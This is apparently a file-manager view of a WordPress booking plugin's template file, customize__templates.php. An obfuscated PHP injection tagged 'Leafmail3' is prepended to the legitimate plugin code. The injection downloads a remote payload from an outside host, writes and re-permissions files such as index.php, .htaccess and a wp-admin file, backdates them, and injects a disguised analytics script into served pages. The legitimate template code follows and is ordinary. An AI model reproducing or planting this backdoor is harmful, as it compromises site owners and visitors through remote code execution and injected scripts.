trAvis - MANAGER
Edit File: customize__templates.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * @version 1.0 * @description Templates for customize plugin pages * @category Customize_Plugin * @author wpdevelop * * @web-site http://oplugins.com/ * @email info@oplugins.com * * @modified 2023-06-23 */ if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly class WPBC_AJX__Customize_Plugin__Templates { // <editor-fold defaultstate="collapsed" desc=" /// JS | CSS files | Tpl loading /// " > /** * Define HOOKs for loading CSS and JavaScript files */ public function init_load_css_js_tpl() { // Load only at specific Page if ( strpos( $_SERVER['REQUEST_URI'], 'page=wpbc-customize_plugin' ) !== false ) { add_action( 'wpbc_enqueue_js_files', array( $this, 'js_load_files' ), 50 ); add_action( 'wpbc_enqueue_css_files', array( $this, 'enqueue_css_files' ), 50 ); add_action( 'wpbc_hook_settings_page_footer', array( $this, 'hook__load_templates_at_footer' ) ); } } /** JS */ public function js_load_files( $where_to_load ) { $in_footer = true; if ( wpbc_is_customize_plugin_page() ) if ( ( is_admin() ) && ( in_array( $where_to_load, array( 'admin', 'both' ) ) ) ) { wp_enqueue_script( 'wpbc-ajx_inline_calendar' , trailingslashit( plugins_url( '', __FILE__ ) ) . '_out/customize__inline_calendar.js' , array( 'wpbc_all' ), WP_BK_VERSION_NUM, $in_footer ); wp_enqueue_script( 'wpbc-ajx_customize_plugin_page' , trailingslashit( plugins_url( '', __FILE__ ) ) . '_out/customize_plugin_page.js' /* wpbc_plugin_url( '/_out/js/codemirror.js' ) */ , array( 'wpbc_all' ), WP_BK_VERSION_NUM, $in_footer ); wp_enqueue_script( 'wpbc-general_ui_js_css' , wpbc_plugin_url( '/includes/_general_ui_js_css/_out/wpbc_main_ui_funcs.js' ) , array( 'wpbc_all' ), WP_BK_VERSION_NUM, $in_footer ); wp_enqueue_script( 'wpbc_all', wpbc_plugin_url( '/_dist/all/_out/wpbc_all.js' ), array( 'jquery' ), WP_BK_VERSION_NUM ); //FixIn: 9.8.6.1 wp_enqueue_script( 'wpbc-main-client', wpbc_plugin_url( '/js/client.js' ), array( 'wpbc-datepick' ), WP_BK_VERSION_NUM ); wp_enqueue_script( 'wpbc-times', wpbc_plugin_url( '/js/wpbc_times.js' ), array( 'wpbc-main-client' ), WP_BK_VERSION_NUM ); /** * * wp_localize_script( 'wpbc_all', 'wpbc_live_request_obj' * , array( * 'ajx_booking' => '', * 'reminders' => '' * ) * ); */ } } /** CSS */ public function enqueue_css_files( $where_to_load ) { if ( ( is_admin() ) && ( in_array( $where_to_load, array( 'admin', 'both' ) ) ) ) { wp_enqueue_style( 'wpbc-ajx_customize_plugin_page' , trailingslashit( plugins_url( '', __FILE__ ) ) . '_out/customize_plugin_page.css' //, wpbc_plugin_url( '/includes/listing_ajx_booking/o-ajx_booking-listing.css' ) , array(), WP_BK_VERSION_NUM ); } } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" /// Templates /// " > /** * Load Templates at footer of page * * @param $page string */ public function hook__load_templates_at_footer( $page ){ // page=wpbc&view_mode=vm_booking_listing if ( 'wpbc-ajx_booking_customize_plugin' === $page ) { // from >> do_action( 'wpbc_hook_settings_page_footer', 'wpbc-ajx_booking_customize_plugin' ); as customize_page.php in bottom of content method $this->template__main_page_content(); $this->template__inline_calendar(); $this->template__toolbar(); $this->template__toolbar__select_booking_resource(); $this->template__toolbar__horizontal_text_bar(); $this->template__toolbar__buttons_prior_next(); $this->template__status_bar__footer(); $this->template__widget__change_calendar_skin(); $this->template__widget__calendar_size(); $this->template__widget__plugin_shortcode(); $this->template__widget__calendar_dates_selection(); $this->template__widget__calendar_weekdays_availability(); $this->template__widget__calendar_additional(); } } // Templates =================================================================================================== /** * Template - Main * * Help Tips: * * <script type="text/html" id="tmpl-template_name_a"> * Escaped: {{data.test_key}} * HTML: {{{data.test_key}}} * JS: <# if (true) { alert( 1 ); } #> * </script> * * var template__var = wp.template( 'template_name_a' ); * * jQuery( '.content' ).html( template__var( { 'test_key' => '<strong>Data</strong>' } ) ); * * @return void */ private function template__main_page_content() { ?><script type="text/html" id="tmpl-wpbc_ajx_customize_plugin_main_page_content"> <div class="wpbc_ajx_cstm__container"> <div class="wpbc_ajx_cstm__section_left"> </div> <div class="wpbc_ajx_cstm__section_right"> <div class="wpbc_widgets"></div> </div> </div><# var template__customize_plugin__status_bar__footer = wp.template( 'wpbc_ajx_customize_plugin__status_bar__footer' ); #>{{{ template__customize_plugin__status_bar__footer( { 'ajx_data' : data.ajx_data, 'ajx_search_params' : data.ajx_search_params, 'ajx_cleaned_params' : data.ajx_cleaned_params } ) }}} </script><?php } /** * Template - Inline Calendar * * Help Tips: * * <script type="text/html" id="tmpl-template_name_a"> * Escaped: {{data.test_key}} * HTML: {{{data.test_key}}} * JS: <# if (true) { alert( 1 ); } #> * </script> * * var template__var = wp.template( 'template_name_a' ); * * jQuery( '.content' ).html( template__var( { 'test_key' => '<strong>Data</strong>' } ) ); * * @return void */ private function template__inline_calendar(){ ?><script type="text/html" id="tmpl-wpbc_ajx_customize_plugin__inline_calendar"> <div class="wpbc_ajx_cstm__calendar <# if ('On' == data.ajx_data.calendar_settings.booking_change_over_days_triangles ){ #>wpbc_change_over_triangle<# } #>"><?php _e( 'Calendar is loading...', 'booking' ); ?></div><?php echo '<div style="margin-top:15px;">' . wpbc_replace_shortcodes_in_booking_form__legend_items( '[legend_items ' . ' items="unavailable,available,pending,approved,partially"' . ' titles="' //.' unavailable={' . htmlspecialchars( __( "Unavailable", 'booking' ), ENT_QUOTES ) . '}' //.' pending={' . htmlspecialchars( __( "Pending", 'booking' ), ENT_QUOTES ) . '}' .'"' . ' text_for_day_cell="' . date( 'd' ) . '"' . ' unavailable_day_cell_tag="span"' .']' ) . '</div>'; ?></script><?php } // Top ======================================================================================================== /** * Tpl - top Toolbar * * Help Tips: * * <script type="text/html" id="tmpl-template_name_a"> * Escaped: {{data.test_key}} * HTML: {{{data.test_key}}} * 